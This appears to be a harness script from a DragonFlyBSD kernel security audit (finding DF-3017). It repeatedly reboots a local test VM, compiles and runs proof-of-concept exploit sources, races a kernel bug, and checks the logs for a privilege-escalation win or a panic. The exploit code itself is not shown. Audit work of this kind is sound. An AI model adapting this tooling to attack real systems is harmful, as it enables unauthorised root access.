⬢ DragonFlyBSD Kernel Audit
DF-3017 / tightloop.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# tight retry loop: reboot 2cpu forensic VM, harvest template, race v14.
set -u
cd /home/maxx/dfbsd/dfbsd
SSH="-F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i dfbsd-qemu/id_ed25519_dfbsd"
LOG=findings/poc/DF-3017/run_chain.log
N=${1:-12}
SECS=${2:-200}

attempt=0
while [ "$attempt" -lt "$N" ]; do
	attempt=$((attempt + 1))
	echo "=== tight attempt $attempt $(date -u +%H:%M:%S) ===" | tee -a "$LOG"
	kill $(cat /tmp/opencode/df3017-f2.pid 2>/dev/null) 2>/dev/null
	sleep 2
	ps ax | grep df3017-f2 | grep -v grep | awk '{print $1}' | xargs -r kill -9 2>/dev/null
	sleep 2
	(cd dfbsd-qemu && ./forensic2cpu.sh) >/dev/null 2>&1
	up=0; i=0
	while [ $i -lt 60 ]; do
		ssh -o ConnectTimeout=5 -p 5535 $SSH root@127.0.0.1 true >/dev/null 2>&1 && { up=1; break; }
		sleep 3; i=$((i+3))
	done
	[ "$up" = 1 ] || { echo "boot failed" | tee -a "$LOG"; continue; }

	scp -P 5535 -q $SSH findings/poc/DF-3017/df3017c.c root@127.0.0.1:/tmp/c.c 2>/dev/null
	scp -P 5535 -q $SSH findings/poc/DF-3017/nodefree.c root@127.0.0.1:/tmp/nf.c 2>/dev/null
	ssh -p 5535 $SSH root@127.0.0.1 '/bin/sh -c "cd /tmp && cc -O2 -pthread -o dx c.c && cc -O2 -o nf nf.c && chown maxx dx nf && chmod 755 dx nf"' >>"$LOG" 2>&1 || continue
	ssh -p 5535 $SSH maxx@127.0.0.1 '/tmp/nf 700' >>"$LOG" 2>&1
	timeout 100 python3 findings/poc/DF-3017/walkzones.py 22 >>"$LOG" 2>&1
	scp -P 5535 -q $SSH /tmp/opencode/node_tpl.bin root@127.0.0.1:/tmp/recon.node.tpl 2>/dev/null
	ssh -p 5535 $SSH root@127.0.0.1 'chown maxx /tmp/recon.node.tpl' >/dev/null 2>&1

	ssh -p 5535 $SSH maxx@127.0.0.1 "/bin/sh -c 'rm -f /tmp/dx.log /tmp/df3017.root /tmp/df3017.id; nohup /tmp/dx $SECS >/tmp/dx.log 2>&1 < /dev/null & echo RACING'" >>"$LOG" 2>&1

	i=0; result=none
	while [ $i -lt $((SECS + 60)) ]; do
		if grep -aq "DF3017-CHAIN-WON" /tmp/opencode/df3017-f2-serial.log 2>/dev/null; then
			result=WIN; break
		fi
		if grep -aq "panic:" /tmp/opencode/df3017-f2-serial.log 2>/dev/null; then
			result=panic; break
		fi
		sleep 4; i=$((i+4))
	done

	case $result in
	WIN)
		echo "=== CHAIN WIN attempt $attempt ===" | tee -a "$LOG"
		sleep 4
		cp /tmp/opencode/df3017-f2-serial.log "findings/poc/DF-3017/win.serial.log"
		ssh -p 5535 $SSH root@127.0.0.1 '/bin/sh -c "cat /tmp/dx.log; echo ---; cat /tmp/df3017.root; cat /tmp/df3017.id 2>/dev/null; id maxx; ls -la /tmp/df3017*"' >>"$LOG" 2>&1
		scp -P 5535 -q $SSH root@127.0.0.1:/tmp/dx.log "findings/poc/DF-3017/win.dx.log" 2>/dev/null
		exit 0 ;;
	panic)
		echo "--- attempt $attempt: $(grep -a -m1 -o 'panic:.*' /tmp/opencode/df3017-f2-serial.log | head -c 90) ---" | tee -a "$LOG"
		cp /tmp/opencode/df3017-f2-serial.log "findings/poc/DF-3017/last.panic.serial.log" 2>/dev/null ;;
	*)
		echo "--- attempt $attempt: $result after ${i}s ---" | tee -a "$LOG"
		ssh -p 5535 $SSH root@127.0.0.1 '/bin/sh -c "tail -4 /tmp/dx.log"' >>"$LOG" 2>&1 || true ;;
	esac
done
echo "=== no win after $N attempts ===" | tee -a "$LOG"
exit 2